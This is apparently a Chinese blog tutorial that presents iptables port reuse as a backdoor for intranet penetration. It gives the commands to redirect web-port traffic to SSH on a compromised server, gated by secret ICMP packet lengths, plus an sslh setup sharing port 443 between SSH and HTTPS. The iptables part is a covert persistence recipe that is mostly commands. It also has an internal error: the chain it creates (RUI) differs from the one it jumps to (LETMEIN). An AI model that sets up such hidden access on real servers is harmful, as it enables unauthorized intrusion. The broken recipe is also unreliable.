iptables端口复用后门+sslh

1、端口复用的概念
端口复用是不同的应用程序使用相同的端口进行通讯,在内网渗透中,服务器仅允许指定的端口开放,利用端口复用可以把例如3389端口转发到80端口上进行外部连接

目的:服务器一般部署在内网,仅有web服务用于被访问,我们将其他的服务通过端口复用绑定在80端口上,相当于给自己留下了一个后门

2、iptables端口复用
步骤:

1、创建端口复用链
iptables -t nat -N RUI

2、添加端口复用规则到内部,将流量转发到22端口
iptables -t nat -A RUI -p tcp -j REDIRECT --to-port 22

在这里插入图片描述

3、创建开启开关,如果接收到长1139的ICMP包,则将来源ip添加到letmein的列表中
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1139 -m recent --set --name letmein --rsource -j ACCEPT

4、创建关闭开关,如果接收到一个长为 1140 的 ICMP 包,则将来源 IP 从 letmein 列表中去掉
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1140 -m recent --name letmein --remove -j ACCEPT

在这里插入图片描述

5、如果发现 SYN 包的来源 IP 处于 letmein 列表中,将跳转到 LETMEIN 链进行处理,有效时间为 3600 秒
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

在这里插入图片描述

6、测试

&1(开启复用):向目标发送一个长为1111的ICMP包,实际长度为1139
ping -c 1 -s 1111 192.168.20.129

&2(关闭复用):向目标发送一个长度为1112的ICMP数据包,实际长度为1140
ping -c 1 -s 1112 192.168.20.129

ICMP包:

因为IP报头最小长度20字节,ICMP报头最小长度8字节,所以这里实际长度算法为1111+28=1139
1112+28=1140

在这里插入图片描述

3、基于sslh端口复用
装载sslh(Ubuntu)
apt-get install sslh

配置Apache或者Nginx服务器
#首先找到
listen 443 ssl;
#然后修改为
listen 127.0.0.1:443 ssl;
然后保存退出

配置sslh
vim /etc/default/sslh

找到
Run=no
#然后改成yes
Run=yes

允许 sslh在所有可用接口上侦听端口 443
DAEMON_OPTS=“–user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid”

然后就可以重启服务了
service sslh restart

重启服务后
测试—检查 SSLH 守护程序是否正在监听 443即可
ps -ef | grep sslh

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值